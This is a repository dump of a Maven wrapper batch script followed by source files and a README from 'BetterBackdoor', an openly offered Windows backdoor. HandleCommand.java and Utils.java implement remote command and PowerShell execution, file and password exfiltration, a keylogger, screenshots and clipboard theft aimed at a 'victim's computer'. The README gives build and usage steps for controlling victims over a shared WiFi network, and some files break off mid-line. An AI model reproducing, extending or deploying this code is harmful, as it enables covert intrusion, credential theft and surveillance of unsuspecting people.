17 | @REM under the License.
18 | @REM ----------------------------------------------------------------------------
19 |
20 | @REM ----------------------------------------------------------------------------
21 | @REM Maven2 Start Up Batch script
22 | @REM
23 | @REM Required ENV vars:
24 | @REM JAVA_HOME - location of a JDK home dir
25 | @REM
26 | @REM Optional ENV vars
27 | @REM M2_HOME - location of maven2's installed home dir
28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
31 | @REM e.g. to debug Maven itself, use
32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
34 | @REM ----------------------------------------------------------------------------
35 |
36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
37 | @echo off
38 | @REM set title of command window
39 | title %0
40 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
42 |
43 | @REM set %HOME% to equivalent of $HOME
44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
45 |
46 | @REM Execute a user defined script before this one
47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending
49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
51 | :skipRcPre
52 |
53 | @setlocal
54 |
55 | set ERROR_CODE=0
56 |
57 | @REM To isolate internal variables from possible post scripts, we use another setlocal
58 | @setlocal
59 |
60 | @REM ==== START VALIDATION ====
61 | if not "%JAVA_HOME%" == "" goto OkJHome
62 |
63 | echo.
64 | echo Error: JAVA_HOME not found in your environment. >&2
65 | echo Please set the JAVA_HOME variable in your environment to match the >&2
66 | echo location of your Java installation. >&2
67 | echo.
68 | goto error
69 |
70 | :OkJHome
71 | if exist "%JAVA_HOME%\bin\java.exe" goto init
72 |
73 | echo.
74 | echo Error: JAVA_HOME is set to an invalid directory. >&2
75 | echo JAVA_HOME = "%JAVA_HOME%" >&2
76 | echo Please set the JAVA_HOME variable in your environment to match the >&2
77 | echo location of your Java installation. >&2
78 | echo.
79 | goto error
80 |
81 | @REM ==== END VALIDATION ====
82 |
83 | :init
84 |
85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
86 | @REM Fallback to current working directory if not found.
87 |
88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
90 |
91 | set EXEC_DIR=%CD%
92 | set WDIR=%EXEC_DIR%
93 | :findBaseDir
94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound
95 | cd ..
96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound
97 | set WDIR=%CD%
98 | goto findBaseDir
99 |
100 | :baseDirFound
101 | set MAVEN_PROJECTBASEDIR=%WDIR%
102 | cd "%EXEC_DIR%"
103 | goto endDetectBaseDir
104 |
105 | :baseDirNotFound
106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
107 | cd "%EXEC_DIR%"
108 |
109 | :endDetectBaseDir
110 |
111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
112 |
113 | @setlocal EnableExtensions EnableDelayedExpansion
114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
116 |
117 | :endReadAdditionalConfig
118 |
119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
122 |
123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
124 | FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
125 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
126 | )
127 |
128 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
129 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data.
130 | if exist %WRAPPER_JAR% (
131 | echo Found %WRAPPER_JAR%
132 | ) else (
133 | echo Couldn't find %WRAPPER_JAR%, downloading it ...
134 | echo Downloading from: %DOWNLOAD_URL%
135 | powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
136 | echo Finished downloading %WRAPPER_JAR%
137 | )
138 | @REM End of extension
139 |
140 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
141 | if ERRORLEVEL 1 goto error
142 | goto end
143 |
144 | :error
145 | set ERROR_CODE=1
146 |
147 | :end
148 | @endlocal & set ERROR_CODE=%ERROR_CODE%
149 |
150 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
151 | @REM check for post script, once with legacy .bat ending and once with .cmd ending
152 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
153 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
154 | :skipRcPost
155 |
156 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
157 | if "%MAVEN_BATCH_PAUSE%" == "on" pause
158 |
159 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
160 |
161 | exit /B %ERROR_CODE%
162 |
--------------------------------------------------------------------------------
/src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/HandleCommand.java:
--------------------------------------------------------------------------------
1 | package com.github.thatcherdev.betterbackdoor.backdoor;
2 |
3 | import java.util.Scanner;
4 | import java.awt.datatransfer.DataFlavor;
5 | import java.awt.Rectangle;
6 | import java.awt.Robot;
7 | import java.awt.Toolkit;
8 | import java.io.File;
9 | import java.io.PrintWriter;
10 | import java.util.ArrayList;
11 | import java.util.Arrays;
12 | import javax.imageio.ImageIO;
13 | import com.github.thatcherdev.betterbackdoor.backend.DuckyScripts;
14 | import com.github.thatcherdev.betterbackdoor.backend.FTP;
15 | import com.github.thatcherdev.betterbackdoor.backend.KeyLogger;
16 | import com.github.thatcherdev.betterbackdoor.backend.Utils;
17 | import org.apache.commons.io.FileUtils;
18 |
19 | public class HandleCommand {
20 |
21 | /**
22 | * Handles command.
23 | *
24 | * Handles command {@link command} and sets {@link send} to an appropriate
25 | * response. Uses {@link Backdoor#out} to send the response followed by a token
26 | * to signal the end of the response.
27 | *
28 | * @param command command given to the backdoor
29 | */
30 | public static void handle(String command) {
31 | String send = "";
32 | if (command.equals("help"))
33 | send = "[cmd] Run Command Prompt commands\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n"
34 | + "[exfiles] Exfiltarte files based on extension\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\n"
35 | + "[filesend] Send a file to victim's computer\n[filerec] Receive a file from victim's computer\n"
36 | + "[keylog] Start a KeyLogger on victim's computer\n[ss] Get a screenshot of vitim's computer\n"
37 | + "[cb] Get text currently copied to victim's clipboard\n[cat] Get contents of a file on victim's computer\n"
38 | + "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit";
39 | else if (command.startsWith("cmd"))
40 | send = Utils.runCommand(command.substring(4));
41 | else if (command.startsWith("ps") || command.startsWith("ds"))
42 | try {
43 | File file = new File(command.substring(3));
44 | if (command.startsWith("ps") && file.exists())
45 | send = Utils.runPSScript(command.substring(3));
46 | else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.substring(3)))
47 | send = "DuckyScript successfully executed";
48 | else
49 | throw new Exception();
50 | FileUtils.forceDelete(file);
51 | } catch (Exception e) {
52 | send = "An error occurred when trying to execute script";
53 | if (e.getMessage() != null)
54 | send += ":\n" + e.getMessage();
55 | }
56 | else if (command.startsWith("exfiles"))
57 | try {
58 | Utils.exfilFiles(command.substring(command.indexOf(" "), command.indexOf("*")),
59 | new ArrayList
42 |
43 | ## Requirements
44 | - A Java JDK distribution >=8 must be installed and added to PATH.
45 | - You must use the same computer to create and control the backdoor.
46 | - The computer used to create the backdoor must be on the same WiFi network as the victim's computer.
47 | - The IPv4 address of this computer must remain static in the time between creating the backdoor and controlling it.
48 | - The computer used to control the backdoor must have their firewall deactivated, and if the computer has a Unix OS, must run BetterBackdoor as 'sudo'.
49 |
50 | ## Compatibility
51 | BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows.
52 |
53 | ## Installation
54 | ```
55 | # clone BetterBackdoor
56 | git clone https://github.com/ThatcherDev/BetterBackdoor.git
57 |
58 | # change the working directory to BetterBackdoor
59 | cd BetterBackdoor
60 |
61 | # build BetterBackdoor with Maven
62 | # for Windows run
63 | mvnw.cmd clean package
64 |
65 | # for Linux run
66 | chmod +x mvnw
67 | ./mvnw clean package
68 |
69 | # for Mac run
70 | sh mvnw clean package
71 | ```
72 |
73 | ## Usage
74 | ```
75 | java -jar betterbackdoor.jar
76 | ```
77 |
78 | ## License
79 | - [MIT](https://choosealicense.com/licenses/mit/)
80 | - Copyright 2019 ©️ ThatcherDev.
81 |
--------------------------------------------------------------------------------
/src/main/java/com/github/thatcherdev/betterbackdoor/backend/Utils.java:
--------------------------------------------------------------------------------
1 | package com.github.thatcherdev.betterbackdoor.backend;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.File;
5 | import java.io.IOException;
6 | import java.io.InputStreamReader;
7 | import java.net.Inet4Address;
8 | import java.net.Inet6Address;
9 | import java.net.InetAddress;
10 | import java.net.NetworkInterface;
11 | import java.net.SocketException;
12 | import java.util.ArrayList;
13 | import java.util.Arrays;
14 | import java.util.Enumeration;
15 | import org.apache.commons.io.FileUtils;
16 |
17 | public class Utils {
18 |
19 | /**
20 | * Runs command {@link command} in the current machine's command prompt and
21 | * returns response.
22 | *
23 | * @param command command to run
24 | * @return response from running command
25 | */
26 | public static String runCommand(String command) {
27 | String resp = "";
28 | BufferedReader bufferedReader = null;
29 | try {
30 | ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/c", command);
31 | builder.redirectErrorStream(true);
32 | bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));
33 | while (true) {
34 | String line = bufferedReader.readLine();
35 | if (line == null) {
36 | while (resp.endsWith("\n"))
37 | resp = resp.substring(0, resp.length() - 1);
38 | break;
39 | }
40 | resp += line + "\n";
41 | }
42 | if (resp.isEmpty())
43 | return "Command did not produce a response";
44 | else
45 | return resp;
46 | } catch (Exception e) {
47 | resp = "An error occurred when trying to run command";
48 | if (e.getMessage() != null)
49 | resp += ":\n" + e.getMessage();
50 | return resp;
51 | } finally {
52 | try {
53 | if (bufferedReader != null)
54 | bufferedReader.close();
55 | } catch (Exception e) {
56 | }
57 | }
58 | }
59 |
60 | /**
61 | * Uses {@link #runCommand(String)} to run the PowerShell script with the name
62 | * {@link filename}.
63 | *
64 | * @param filename name of script to run
65 | * @return response from running script
66 | */
67 | public static String runPSScript(String filename) {
68 | return runCommand("Powershell.exe -executionpolicy remotesigned -File " + filename);
69 | }
70 |
71 | /**
72 | * Copies all files that have extensions in {@link exts} from {@link root} to
73 | * 'gathered\ExfiltratedFiles'.
74 | *
75 | * @param root directory to copy files from
76 | * @param exts list of extensions of files to copy
77 | * @throws IOException
78 | */
79 | public static void exfilFiles(String root, ArrayList